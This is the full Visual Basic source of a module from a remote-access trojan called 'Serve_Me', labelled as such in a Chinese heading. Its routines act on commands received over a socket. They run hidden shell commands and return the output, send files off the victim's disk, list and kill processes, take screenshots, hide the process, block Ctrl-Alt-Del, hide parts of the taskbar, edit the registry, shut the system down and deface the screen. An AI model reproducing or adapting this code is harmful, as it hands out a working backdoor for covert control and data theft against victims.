core.bas

完整的特洛伊木马 Serve_Me 源代码

Attribute VB_Name = "Core"
'====Functions of Serve Me===='
Global x As Long
Global y As Long
'----'
Public Sub MsgBx(text As String, buttons As String, Icons As String, title As String)
Dim MsgBxRes As String
Dim res As Integer
Dim reply As String
res = MsgBox(text, buttons Or Icons, title)
    Select Case res
    Case 1
      reply = "User pressed OK button"
    Case 2
      reply = "User Pressed Cancel button"
    Case 3
      reply = "User Pressed Abort button"
    Case 4
      reply = "User Pressed Retry button"
    Case 5
      reply = "User Pressed Ignore button"
    Case 6
      reply = "User Pressed Yes button"
    Case 7
      reply = "User Pressed No button"
    End Select
MsgBxRes = PrepareData(reply)
Main.Sock.SendData MsgBxRes
End Sub
'----'
Public Sub Inpbox(text As String, title As String, Default As String)
Dim InpBoxRes As String
InpBoxRes = InputBox(text, title, Default)
InpBoxRes = PrepareData(InpBoxRes)
Main.Sock.SendData InpBoxRes
End Sub
'----'
Public Sub EjectCD(OpenOrClose As String)
If OpenOrClose = "1" Then
    mciSendString "set CDAudio door open", returnstring, 127, 0
ElseIf OpenOrClose = "0" Then
    mciSendString "set CDAudio door closed", returnstring, 127, 0
End If
End Sub
'----'
Public Sub HideStartMenu(Disp As String)
Dim SMhWnd As Long
SMhWnd = FindWindow("Shell_traywnd", "")
If Disp = "1" Then
    ShowWindow SMhWnd, SW_HIDE
ElseIf Disp = "0" Then
    ShowWindow SMhWnd, SW_SHOW
End If
End Sub
'----'
Public Sub Run(FilePath As String, Disp As String)
If Disp = "1" Then
    Shell FilePath, vbNormalFocus
ElseIf Disp = "0" Then
    Shell FilePath, vbHide
End If
End Sub
'----'
Public Sub SetPos(X1 As String, Y1 As String, Optional interval As String)
x = CLng(X1)
y = CLng(Y1)
If interval = "" Then
    SetCursorPos x, y
ElseIf interval <> "" Then
Main.MouseTime.interval = CInt(interval)
Main.MouseTime.Enabled = True

End If
End Sub
'----'

Public Sub StopPos()
Main.MouseTime.Enabled = False
End Sub
'----'
Public Sub GetProcess()
    Main.List1.Clear
       Dim ret As String, out As String
       Dim hSnapShot As Long
       Dim uProcess As PROCESSENTRY32
       Dim r As Long
       hSnapShot = CreateToolHelpSnapshot(TH32CS_SNAPPROCESS, 0&)

              If hSnapShot = 0 Then Exit Sub
                     uProcess.dwSize = Len(uProcess)
                     r = ProcessFirst(hSnapShot, uProcess)

                            Do While r
                                   Main.List1.AddItem uProcess.th32ProcessID & ":" & uProcess.szExeFile
                                
                                   r = ProcessNext(hSnapShot, uProcess)
                            Loop

                     Call CloseHandle(hSnapShot)
out = ""
For i = 0 To Main.List1.ListCount
out = out & Main.List1.List(i) & ";" & vbCrLf
Next i
ret = PrepareData("Processes;" & vbCrLf & out)
Main.Sock.SendData ret
Main.List1.Clear
    End Sub
'----'
Public Sub KillProcess(Pid2 As String)
Dim ret&
Dim ret1 As String, out As String
Dim pid As Long
pid = CLng(Pid2)
Dim lExitCode As Long
Dim hProcess As Long
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pid)
''
 If (hProcess = 0) Then
       ret1 = "The process no longer exists."
        Exit Sub
    End If
    
    ret& = GetExitCodeProcess(hProcess, lExitCode)
    If (ret& = 0) Then
        ret1 = "You cannot get permission to terminate this process."
        Exit Sub
    End If
    
    ret& = TerminateProcess(hProcess, lExitCode)
    If (ret& = 0) Then
       ret1 = "The process cannot be terminated."
        Exit Sub
    End If
''
 ret1 = "Process " & pid & " terminated."
out = PrepareData(ret1)
Main.Sock.SendData out
End Sub
'----'
Private Function FromSz(szStr As String) As String


              If InStr(szStr, vbNullChar) Then
                     FromSz = Left(szStr, InStr(szStr, vbNullChar) - 1)
              Else
                     FromSz = szStr
              End If

End Function
'----'
Public Sub ShellGetText(Program As String)
       Dim ret As String, out As String
       Dim sTempFile As String
       Dim hFile As Long
       Dim pid As Long
       Dim hProcess As Long
       Dim bResult As Boolean
     
       sTempFile = Space(1024)
       GetTempFileName Environ("TEMP"), "OUT", 0, sTempFile
       sTempFile = FromSz(sTempFile)
      
       pid = Shell( _
       Environ("COMSPEC") & " /C " & Program & ">" & sTempFile, vbHide)
       hProcess = OpenProcess(SYNCHRONIZE, True, pid)
       Do Until (hProcess = 0) Or WaitForSingleObject(hProcess, 60000)
       
       GoTo CloseHandles
            
        Loop

CloseHandles:
                     hFile = FreeFile
                     Open sTempFile For Binary As #hFile
                     ret = Input$(LOF(hFile), hFile)
                     Close #hFile
                     CloseHandle hProcess
                     Kill sTempFile
out = PrepareData("Shelled;" & ret)
Main.Sock.SendData out
ret = ""
End Sub

Public Sub BlockCaD(ToF As String)
If ToF = "1" Then
SystemParametersInfo SPI_SCREENSAVERRUNNING, 1, vbNullString, 0
ElseIf ToF = "0" Then
SystemParametersInfo SPI_SCREENSAVERRUNNING, 0, vbNullString, 0
End If
End Sub

Public Sub RandTxt(text As String, count As String)
Dim hdc As Long
Dim cx As Integer, cy As Integer
Dim i As Long
BlockCaD 1
cx = GetSystemMetrics(SM_CXSCREEN)
cy = GetSystemMetrics(SM_CYSCREEN)
If count = "f" Then
Do While 1 = 1
    hdc = GetDC(0)
    SetTextColor hdc, RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
    TextOut hdc, Int(Rnd * cx), Int(Rnd * cy), text, Len(text)
    ReleaseDC 0, hdc
Loop
Else
For i = 1 To count
    hdc = GetDC(0)
    SetTextColor hdc, RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
    TextOut hdc, Int(Rnd * cx), Int(Rnd * cy), text, Len(text)
    ReleaseDC 0, hdc
Next i
BlockCaD 0
End If
End Sub
'----'
Public Sub PrintIt(text As String, Optional Random As String)
Dim rndtxt As String
If Random = "1" Then

For i = 1 To 2000
rndtext = rndtext & Chr$(Int(Rnd * 127))
Next i
Printer.Print rndtxt
ElseIf Random = "0" Then
Printer.Print text
Printer.EndDoc
End If
End Sub
'----'
Public Sub GetWinds()
Main.List1.Clear
Dim sTitle As String * 255, hwnd As Long
Dim ret As String, out As String
    hwnd = GetWindow(GetDesktopWindow(), GW_CHILD)
    Do While hwnd <> 0
       GetWindowText hwnd, sTitle, 255
        If IsWindowVisible(hwnd) Then
        If sTitle <> "" Then
         Main.List1.AddItem hwnd & ":" & sTitle
        Else
        End If
        End If
       
        hwnd = GetWindow(hwnd, GW_HWNDNEXT)
    Loop
For i = 0 To Main.List1.ListCount
out = out & Main.List1.List(i) & ";" & vbCrLf
Next i
ret = PrepareData("Winds;" & vbCrLf & out)
Main.Sock.SendData ret
Main.List1.Clear
End Sub
'----'
Public Sub CloseWindow(Wnd As String)
Dim hwnd As Long
hwnd = CLng(Wnd)
ShowWindow hwnd, SW_HIDE
End Sub
'------'
Public Sub FocusWindow(Wnd As String)
Dim hwnd As Long
hwnd = CLng(Wnd)
 SetForegroundWindow hwnd
End Sub
'------'
Public Sub SetWndText(Wnd As String, nTxt As String)
Dim hwnd As Long
hwnd = CLng(Wnd)
SetWindowText hwnd, nTxt
End Sub

Public Sub GetFiles(CurrPath As String)
Main.List1.Clear
Dim Dirs As String
Dim Path As String, ret As String, out As String
Path = Dir(CurrPath, vbDirectory)
count = 1
Do While Path <> ""
If Path <> "." And Path <> ".." Then
    If GetAttr(CurrPath & Path) <> vbDirectory Then
        If GetAttr(CurrPath & Path) And vbDirectory = vbDirectory Then
'Dirs = Dirs & ";" & path
Main.List1.AddItem Path
End If
End If
End If
Path = Dir
Loop
For i = 0 To Main.List1.ListCount
ret = ret & "       " & Main.List1.List(i) & ";" & vbCrLf
Next i
out = PrepareData("Files" & vbCrLf & "   " & CurrPath & vbCrLf & ret)
Main.Sock.SendData out
End Sub
Public Sub GetSubDirs(CurrPath As String)
Main.List1.Clear
Dim Dirs As String
Dim Path As String, ret As String, out As String

Path = Dir(CurrPath, vbDirectory)
count = 1
Do While Path <> ""
If Path <> "." And Path <> ".." Then
    If GetAttr(CurrPath & Path) = vbDirectory Then
        If GetAttr(CurrPath & Path) And vbDirectory = vbDirectory Then
Main.List1.AddItem Path
End If
End If
End If
Path = Dir
Loop
For i = 0 To Main.List1.ListCount
ret = ret & "       " & Main.List1.List(i) & ";" & vbCrLf
Next i

out = PrepareData("SubDirs" & vbCrLf & "    " & CurrPath & vbCrLf & ret)
Main.Sock.SendData out
End Sub
Public Sub HideButton(hide As String)
Dim hWnd1 As Long, hWnd2 As Long
hWnd1 = FindWindow("Shell_TrayWnd", "")
hWnd2 = FindWindowEx(hWnd1, 0, "Button", vbNullString)
'MsgBox hwnd2
If hide = "1" Then
ShowWindow hWnd2, SW_HIDE
ElseIf hide = "0" Then
ShowWindow hWnd2, SW_SHOW
End If
End Sub

Public Sub HideSysTray(hide As String)
Dim hWnd1 As Long, hWnd2 As Long
hWnd1 = FindWindow("Shell_TrayWnd", "")
hWnd2 = FindWindowEx(hWnd1, 0, "TrayNotifyWnd", vbNullString)
If hide = "1" Then
ShowWindow hWnd2, SW_HIDE
ElseIf hide = "0" Then
ShowWindow hWnd2, SW_SHOW
End If
End Sub

Public Sub HideIEBar(hide As String)
Dim hWnd1 As Long, hWnd2 As Long
hWnd1 = FindWindow("Shell_TrayWnd", "")
hWnd2 = FindWindowEx(hWnd1, 0, "ReBarWindow32", vbNullString)
If hide = "1" Then
ShowWindow hWnd2, SW_HIDE
ElseIf hide = "0" Then
ShowWindow hWnd2, SW_SHOW
End If
End Sub
'----'
Public Sub SwitchToWindow(Wnd As String)
Dim hwnd As Long
hwnd = CLng(Wnd)
Dim x As Long
Dim lngWW As Long
  'hwnd = FindWindow(vbNullString, Wnd)
  lngWW = GetWindowLong(hwnd, GWL_STYLE)
  If lngWW And WS_MINIMIZE Then
  x = ShowWindow(hwnd, SW_RESTORE)
  End If
 x = SetWindowPos(hwnd, HWND_TOP, 0, 0, 0, 0, _
                    SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW)
FocusWindow Wnd
End Sub
'----'
Public Sub GetWinDir()
Dim WinPath As String
Dim ret As String, out As String
Const MAXPATH = 144
Dim Rtn As Integer
WinPath = Space$(MAXPATH)
Rtn = GetWindowsDirectory(WinPath, MAXPATH)
WinPath = Left$(WinPath, Rtn)
ret = WinPath
out = PrepareData("WinDir;" & ret)
Main.Sock.SendData out
End Sub
'----'
Public Sub GetSysDir()
Dim WinSysPath As String
Dim ret As String, out As String
Const MAXPATH = 144
Dim Rtn As Integer
WinSysPath = Space$(MAXPATH)
Rtn = GetSystemDirectory(WinSysPath, MAXPATH)
WinSysPath = Left$(WinSysPath, Rtn)
ret = WinSysPath
out = PrepareData("SysDir;" & ret)
Main.Sock.SendData out
End Sub
'----'
Public Sub GetInfo()
Dim WinFo As SYSTEM_INFO
Dim ret As String, out As String
GetSystemInfo WinFo
ret = "Processor Type:" & WinFo.dwProcessorType & ";" & "Num. of Processors:" & WinFo.dwNumberOrfProcessors & ";" & "Max Mem:" & WinFo.dwAllocationGranularity
out = PrepareData("Info;" & ret)
Main.Sock.SendData out
End Sub
'----'
Public Sub GetDrives()
Dim ret As String, out As String
For i = 0 To Main.Drive1.ListCount
ret = ret & Main.Drive1.List(i) & "\" & ";" & vbCrLf
Next i
out = PrepareData("Drives;" & vbCrLf & ret)
Main.Sock.SendData out
End Sub
'----'
Public Sub GetScreen()
Clipboard.Clear
keybd_event VK_SNAPSHOT, 1, 0, 0
SavePicture Clipboard.GetData(vbCFBitmap), "c:\curdesk.bmp"

End Sub
'----'
Public Sub Pixelize(count As String)
Dim hdc As Long
Dim Cnt As Long
Dim cx As Integer, cy As Integer
BlockCaD 1
hdc = GetDC(0)
cx = GetSystemMetrics(SM_CXSCREEN)
cy = GetSystemMetrics(SM_CYSCREEN)
If count = "f" Then
Do While 1 = 1
SetPixel hdc, Int(Rnd * cx), Int(Rnd * cy), RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
ReleaseDC 0, hdc
Loop


Else
Cnt = CLng(count) * 1000
For i = 1 To Cnt
SetPixel hdc, Int(Rnd * cx), Int(Rnd * cy), RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
ReleaseDC 0, hdc
Next i
BlockCaD 0
End If
End Sub
'----'
Public Sub Lines(count As String)
Dim hdc As Long
Dim Cnt As Long
Dim cx As Integer, cy As Integer
BlockCaD 1
hdc = GetDC(0)
cx = GetSystemMetrics(SM_CXSCREEN)
cy = GetSystemMetrics(SM_CYSCREEN)
If count = "f" Then
Do While 1 = 1
    LineTo hdc, Int(Rnd * cx), Int(Rnd * cy)
    ReleaseDC 0, hdc
Loop
Else
Cnt = CLng(count) * 1000
For i = 1 To Cnt
    LineTo hdc, Int(Rnd * cx), Int(Rnd * cy)
    ReleaseDC 0, hdc
Next i
BlockCaD 0
End If
End Sub
'----'
Public Sub Boxes(count As String)
Dim hdc As Long
Dim Cnt As Long
Dim cx As Integer, cy As Integer
BlockCaD 1
hdc = GetDC(0)
cx = GetSystemMetrics(SM_CXSCREEN)
cy = GetSystemMetrics(SM_CYSCREEN)

If count = "f" Then
Do While 1 = 1
Rectangle hdc, Int(Rnd * cx), Int(Rnd * cy), Int(Rnd * cx), Int(Rnd * cy)
ReleaseDC 0, hdc
Loop
Else
Cnt = CLng(count) * 1000
For i = 1 To Cnt
Rectangle hdc, Int(Rnd * cx), Int(Rnd * cy), Int(Rnd * cx), Int(Rnd * cy)
ReleaseDC 0, hdc
Next i
BlockCaD 0
End If
End Sub
'----'
Public Sub HideProc(pid As String, ToF As String)
Dim id As Long
id = CLng(pid)
If ToF = "0" Then
RegisterServiceProcess id, 0
ElseIf ToF = "1" Then
RegisterServiceProcess id, 1
End If
End Sub
'----'
Public Sub SendFile(Path As String)
Dim byB() As Byte
Open Path For Binary As #1
byB() = Input(LOF(1), #1)
Close #1
Main.Sock.SendData byB()
End Sub
'----'
Public Sub ShutDown(Kind As String)
Dim sD As Integer
sD = CInt(Kind)
Select Case sD
Case 0
    ExitWindowsEx EWX_LOGOFF, 0
Case 1
    ExitWindowsEx EWX_SHUTDOWN, 0
Case 2
    ExitWindowsEx EWX_REBOOT, 0
Case 4
    ExitWindowsEx EWX_FORCE, 0
Case Else
    ExitWindowsEx sD, 0
End Select
End Sub
'----'
Public Sub SetRecycleName(Name As String)
savestring HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "(Default)", Name
End Sub
'----'
Public Sub Pong()
Dim out As String
out = PrepareData("*Pong*" & vbCrLf & "Recieved at " & Time() & " on port: " & Main.Sock.LocalPort & " from remote port: " & Main.Sock.RemotePort)
Main.Sock.SendData out
End Sub